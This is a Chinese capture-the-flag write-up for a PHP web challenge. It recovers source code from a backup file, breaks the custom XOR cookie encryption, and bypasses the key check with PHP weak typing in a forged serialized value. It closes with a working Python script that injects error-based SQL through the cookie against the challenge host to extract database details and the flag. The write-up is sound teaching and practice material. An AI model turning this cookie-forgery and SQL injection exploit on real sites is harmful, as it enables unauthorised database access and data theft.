访问页面提示:Hello Guest! please use in Admin!
查看cookie是user=DWJ6Ti0bEyhVIwsrK09/G3gSWygIfAJ9QjR2VFk2TjpMeAM4OAYHJFU/ASdRanFVRWEEd0hzBnJxSUl6BmhNaA1oehEtUBMwVWMLKytPfxt4GlswCCoCMkIkdhNZNU54THYDbzgFB2BVbwE0UW1xR0UkBGJIcAZlcUFJLwYxTXgNNXpELR4TdlVsC20rEH8feB9bPgg
+AidCe3YLWTROfkx1AzQ=
每刷新一次变化一次
扫描发现index.php.bak得到源代码:
<?php include('config.php'); function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } function encrypt($txt, $key) { $key =md5($key); $rnd = random(32); $_txt['txt'] =$txt; $_txt['key'] = md5(substr($key,0,strlen($txt))); $txt = serialize($_txt); $txt = $txt.substr($key, 0, 4); $len = strlen($txt); $ctr = 0; $str = ''; for($i = 0; $i < $len; $i++) { $ctr = $ctr == 32 ? 0 : $ctr; $str .= $rnd[$ctr].($txt[$i] ^ $rnd[$ctr++]); } return base64_encode(kecrypt($str, $key)); } function decrypt($txt, $key) { $key =md5($key); $txt = kecrypt(base64_decode($txt), $key); $len = strlen($txt); $str = ''; for($i = 0; $i < $len; $i++) { $tmp = $txt[$i]; $str .= $txt[++$i] ^ $tmp; } $_txt = unserialize(substr($str, 0, -4)); $_key = md5(substr($key,0,strlen($_txt['txt']))); return substr($str, -4) == substr($key, 0, 4) && $_key == $_txt['key'] ? $_txt['txt'] : ''; } function kecrypt($txt, $key) { $len = strlen($txt); $ctr = 0; $str = ''; for($i = 0; $i < $len; $i++) { $ctr = $ctr == 32 ? 0 : $ctr; $str .= $txt[$i] ^ $key[$ctr++]; } return $str; } $username = decrypt($_COOKIE['user'],$key); $query = mysql_query("select password from manager where username='".$username."'"); if(!$query) { die(mysql_error()); } $con=mysql_fetch_row($query); if ($con[0] === decrypt($_COOKIE['pass'],$key)) { }else{ setcookie('user',encrypt('guest',$key)); echo "Hello Guest! please use in Admin!"; } ?>
分析源代码发现加密过程挺复杂的,key未知,md5,32位随机值,serialize,感觉无法破解的样子。搜索关键字发现乌云文章《Destoon B2B 2014-05-21最新版绕过全局防御暴力注入》,其思路是爆破microtime值,这里生成了32位随机值,不可能爆破。
后又找到乌云文章: DedeCMS-V5.7-SP1(2014-07-25)sql注入+新绕过思路(http://www.wooyun.org/bugs/wooyun-2010-071655)很有借鉴意义。
根据代码:
$username = decrypt($_COOKIE['user'],$key);
$query = mysql_query("select password from manager where username='".$username."'");
if(!$query)
{
die(mysql_error());
}
username是从传入的cookie参数user值解密得到的,可以通过报错注入得到数据库数据。关键是如何构造加密的user值,里面包括要注入的内容。
查看decrypt函数:
key是原始key的md5值,固定为32位。
kecrypt(base64_decode( txt), key) 将密文进行base64解密后,与key每一位循环异或。
设base64_decode(密文)=ABCDEFG…
明文为:abcdefg…
kecrypt函数得到:text=A^key[0],B^key[1]…
再将txt的相邻两位text[i]^text[i+1]得到明文
故a=text[0]^text[1]=A^key[0]^B^key[1]
因此得到key[0]^key[1]=A^B^a,只要求出key[0]^key[1],…key[30]^key[31]这16个数就够了。
然后加密方法为:A随便取各字符,求B就可以了,B=(key[0]^key[1])^A^a
解密方法为:a=(A^B)^(key[0]^key[1]),明文长度固定为密文长度的一半
根据加密函数:
$_txt['txt'] =$txt;
$_txt['key'] = md5(substr($key,0,strlen($txt)));
$txt = serialize($_txt);
serialize后明文类似
a:2:{s:3:"txt";s:5:"guest";s:3:"key";s:32:"7de814b9f7fba178d2fc2607d45e7746";}9779
前面的字符a:2:{s:3:”txt”;s:5:”guest”;s:3:”key”;s:32:”都是固定的,这里只需要16个字符就够了,可以求出key[i]^key[i+1]的值
解密后的明文要满足两个条件:
substr($str, -4) == substr($key, 0, 4) && $_key == $_txt['key']
关于第一个条件,任意密文解密得到明文就可以得到后面的4个字符,就是key的md5值的最前面4个字符,这个值是固定的,值为9779.
关于第二个条件,_key是key的md5再根据明文长度截取再求md5,基本不可能破解的,但这里php有个弱类型比较问题,任意不为0或空的字符串或数字均可以等于True,因为serialize可以构造boolean类型,因此需要构造的明文类似:a:2:{s:3:”txt”;s:5:”guest”;s:3:”key”;b:1;}9779,注入语句在guest位置,前面的s:5对应字符串长度,需要修改。
然后再执行加密,解密,注入就水到渠成了。
poc with python2如下:
import base64
import requests
"""Refer to the encrypt and decrpt method, cliper[i]^cliper[i+1]^raw[i/2]=key[i]^key[i+1],keys is stable"""
def getkey():
cliper="XDNPezAGFS57DUhoD2tTN08lbh10AHwDew1AYkEuBXEOOmRfJRtWdQ9lW30LMEBkbEhCMVRvVSFtVWladhhFYFw5TyQwTRU2e01IaA9rUzdPLW4FdFZ8THsdQCVBLQUzDjRkCCUYVjEPNVtuCzdAdmwNQiRUbFU2bV1pD3ZBRXBcZE9xMAMVcHtCSC4PNFMzTyhuC3RCfFl7QkA9QSwFNQ43ZFM="
raw="a:2:{s:3:\"txt\";s:5:\"guest\";s:3:\"key\";s:32:\"d748530a5d6d860bf4596d6924e1548b\";}81dc"
cliper=base64.b64decode(cliper)
keys=[]
rawx=raw[:16]
cliperx=cliper[:32]
for i,c in enumerate(rawx):
keys.append(ord(cliperx[2*i])^ord(cliperx[2*i+1])^ord(c))
return keys
"""get the last 4 character of text: 9779"""
def testdecode(keys):
cliper="WjVuWlJkLBd9C35eB2NTN0YsTD9kEGAfUCZWdF0yeg5wRFNoW2UyEWELByEFPnNXZ0NjEH9EWi5gWGNQWjRAZVo/bgVSLywPfUt+XgdjUzdGJEwnZEZgUFA2VjNdMXpMcEpTP1tmMlVhWwcyBTlzRWcGYwV/R1o5YFBjBVptQHVaYm5QUmEsSX1EfhgHPFMzRiFMKWRSYEVQaVYrXTB6SnBJU2Q="
cliper=base64.b64decode(cliper)
j=0
text=''
for i in xrange(0,len(cliper),2):
text+=chr(keys[j]^ord(cliper[i])^ord(cliper[i+1]))
j+=1
if(j==16):
j=0
print text
def encode(inject,keys):
injectstr="a' and extractvalue(1,concat(0x23,(%s)))-- "%(inject)
str="""a:2:{s:3:"txt";s:%d:"%s";s:3:"key";b:1;}9779"""%(len(injectstr),injectstr)
#print str
c2='a'
j=0
res=''
for i in xrange(0,len(str)):
res+=c2+chr(keys[j]^ord(str[i])^ord(c2))
j+=1
if(j==16):
j=0
return base64.b64encode(res).replace("=","%3D")
def sendtext(encodestr):
url="http://web6.wllm.club/index.php"
cookie={'user':encodestr}
x=requests.get(url,cookies=cookie)
print x.content
keys=getkey()
testdecode(keys)
sql="concat(user(),0x23,version(),0x23,database())"
sendtext(encode(sql,keys))
sql="select table_name from information_schema.tables where table_schema=database() limit 0,1"
sendtext(encode(sql,keys))
sql="select * from flag"
sendtext(encode(sql,keys))